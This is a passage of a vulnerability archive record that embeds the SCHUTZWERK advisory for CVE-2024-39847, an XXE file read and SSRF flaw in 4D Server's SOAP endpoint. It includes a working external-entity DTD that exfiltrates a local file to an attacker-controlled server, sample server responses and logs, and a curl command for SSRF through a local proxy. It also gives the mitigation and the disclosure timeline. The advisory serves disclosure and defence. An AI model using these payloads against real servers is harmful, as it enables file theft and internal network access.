http://192.168.56.1:2121/stage.dtd\n\n\u003c!ENTITY % fileb SYSTEM \"file:///c:\\Users\\john.doe\\Desktop\\secret.txt\"\u003e\n\u003c!ENTITY % eval \"\u003c!ENTITY \u0026#x25; exfiltrate SYSTEM \u0027%fileb;\u0027\u003e\"\u003e\n%eval;\n%exfiltrate;\n\nServer response for the request sent to the /4DSOAP endpoint:\n\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" ?\u003e\n\n\u003cSOAP-ENV:Body\u003e\n \u003cSOAP-ENV:Fault\u003e\n \u003cfaultcode\u003eSOAP-ENV:Client\u003c/faultcode\u003e\n\n\u003c/faultstring\u003e\n \u003c/SOAP-ENV:Fault\u003e\n\u003c/SOAP-ENV:Body\u003e\n\u003c/SOAP-ENV:Envelope\u003e\n\nRequests sent to the attacker controlled server (192.168.56.1:2121):\n\n192.168.56.114 - - \"GET /stage.dtd HTTP/1.1\" 200 -\n\n\n\n\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" ?\u003e\n\n\u003cSOAP-ENV:Body\u003e\n \u003cSOAP-ENV:Fault\u003e\n \u003cfaultcode\u003eSOAP-ENV:Client\u003c/faultcode\u003e\n\n- - http:/secret.tld/bar\u0027\n\u003c/faultstring\u003e\n \u003c/SOAP-ENV:Fault\u003e\n\u003c/SOAP-ENV:Body\u003e\n\u003c/SOAP-ENV:Envelope\u003e\n\n\nspecific SOAP functions accepting data tags.\n\n\nport 1337. Once started, files can be requested by issuing a GET request to\n\nhttp://127.0.0.1:1337/\u003ctarget URI\u003e\n\n\n\n$ curl \u0027127.0.0.1:1337/http://192.168.56.114\u0026apos;\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" ?\u003e\n\n\u003cSOAP-ENV:Body\u003e\n \u003cSOAP-ENV:Fault\u003e\n \u003cfaultcode\u003eSOAP-ENV:Client\u003c/faultcode\u003e\n\n\n\u003chtml\u003e\n[...]\n \u003ctd class=\"grayborder\"\u003e\n \u003ch2 align=\"center\"\u003eWelcome to your 4D Web Server default home\n page!\u003c/h2\u003e\n \u003cp align=\"center\"\u003eThis is the \u003cstrong\u003e\u003cb\u003e4D Web Server\u003c/b\u003e\u003c/strong\u003e\n\n Application.\u003c/p\u003e\n\n home page.\u003c/p\u003e\n \u003cp align=\"center\"\u003eInstructions for configuring your 4D Web\n Server can be found in the included documentation.\u003c/p\u003e\n\n All rights reserved.\u003c/p\u003e\n \u003c/td\u003e\n[...]\n\u003c/html\u003e\n\u0027\n\u003c/faultstring\u003e\n\u003c/SOAP-ENV:Fault\u003e\n\u003c/SOAP-ENV:Body\u003e\n\u003c/SOAP-ENV:Envelope\u003e\n\n\nperform \"proxied\" HTTP requests.\n\nRisk\n====\n\n\nhash.\n\nSolution/Mitigation\n===================\n\nUpdate to 4D Server 20 R7 or higher.\n\nTimeline\n========\n\n- - 2024-06-17 Vulnerability discovered\n- - 2024-06-24 Attempt to contact vendor, no response received\n- - 2024-06-25 CVE ID requested\n- - 2024-06-29 CVE-2024-39847 assigned\n- - 2024-07-04 Attempt to contact vendor again, no response received\n- - 2024-07-09 Attempt to contact vendor again, no response received\n- - 2024-07-16 Attempt to contact vendor again, no response received\n- - 2024-07-22 Attempt to contact vendor again, no response received\n- - 2026-04-29 Advisory published\n\nCredits\n=======\n\nThe vulnerability was discovered by Marcelo Reyes of SCHUTZWERK GmbH.\n\nFootnotes\n=========\n\n[0] https://4d.com\n[1] https://www.schutzwerk.com/blog/schutzwerk-sa-2024-002/4d-xxe.py\n[2] https://flask.palletsprojects.com/en/stable/\n-----BEGIN PGP SIGNATURE-----\n\niQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmnyGKIaHGFkdmlzb3Jp\nZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrs6TQ//Vp4Ts1sg8wUOx5V46ttU\nOkErEUSrMqHDCrxiLKLsYoBBXyqPB+oKLzWFkMTUxbq+W7aqJIVG6EMeBsu1FCae\n0JfGA0MYYJ4s7WcphN/QqqU+e35r0NfPAzcKlr861ZNcwcy9vbg/WP+z1AlTfH9X\nMBKtv4Z2R1xpFq2sAJnwOw3E7Cl5g40PSsTJhI52/O7M4K5rB14EjFXW/hHgSFNz\nESUI+o/U1t7nPDulxfSsVmvbDTuvmxrs1xM/ulMYoKFKSueEglNCmF+5i/lFs7LF\nrM0PZLGCbMR9z2NOeEk+dGwCztXpY2KN1KvPWYt4flvxZzlnWFWCzrVog8QdDhbV\nCAfeLi+5krzgsZIPfphYpHc2BYJdAGsHDZx76GxoMNi8/miHX15+vg3N7SBPopOG\naIWnPJX0LCoecdzELJhzpOSYpzLTurRKnPU6y4sa/gJN4K99gCbE2HpPIJRaJmJG\nhk7iwTUA11ijiEWpKCWX3hE3dhxY9WgKKoKe/CtGZkaEoEa1ePTPUFWhiwORpSsa\nAV3i7YZOgjBiEj4ffBfy+Z/3fHhR7S3fWpFUhWeyb2jjx6OuJSG4g9az6Uze0hZG\nvYn40CIpG2sHlm1PzQBzMUopqjmaW+FMyLgv8XOsnfdqg7UqPJ0LKmNAtafO1tVo\nHH0qazSkyWNwZlaLr5YYUso=\n=MhKk\n-----END PGP SIGNATURE-----\n\n\n--\nSCHUTZWERK GmbH, Pfarrer-Wei\u00df-Weg 12, 89077 Ulm, Germany\nZertifiziert / Certified ISO 27001, 9001 and TISAX\n\nPhone +49 731 977 191 0\n\nadvisories () schutzwerk com / www.schutzwerk.com\n\nGesch\u00e4ftsf\u00fchrer / Managing Directors:\nJakob Pietzka, Michael Sch\u00e4fer\n\nAmtsgericht Ulm / HRB 727391\nDatenschutz / Data Protection www.schutzwerk.com/datenschutz\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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{
"url": "http://127.0.0.1:1337/"
},
{
"url": "http://192.168.56.114\u0026apos"
},
{
"url": "http://192.168.56.1:2121/stage.dtd"
},
{
"url": "http://192.168.56.1:2121/stage.dtd\""
},
{
"url": "http://attacker.tld\""
},
{
"url": "https://4d.com"
},
{
"url": "https://flask.palletsprojects.com/en/stable/"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2024-39847"
},
{
"url": "https://www.schutzwerk.com/blog/schutzwerk-sa-2024-002/4d-xxe.py"
},
{
"url": "https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-002/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/May/0"
],
"discovery": "EXTERNAL"
},
"title": "SCHUTZWERK-SA-2024-002: Arbitrary File Read and Server Side Request Forgery via XML External Entities in 4D Server SOAP (CVE-2024-39847)",
"x_gcve": [
{
"recordType": "reference",
"relationships": [
{
"destId": "CVE-2024-39847",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0249",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/0",
"automated": true,
"contentSha256": "7acb3fb14dc45d336373174c37e25480ae13673627c91b3039f20ae86d2284d2",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/May/0",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-04-30T07:16:21Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0249"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T08:13:42Z",
"dateUpdated": "2026-09-08T08:13:42Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0249"
},
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}
displaying 501 - 510 publications in total 581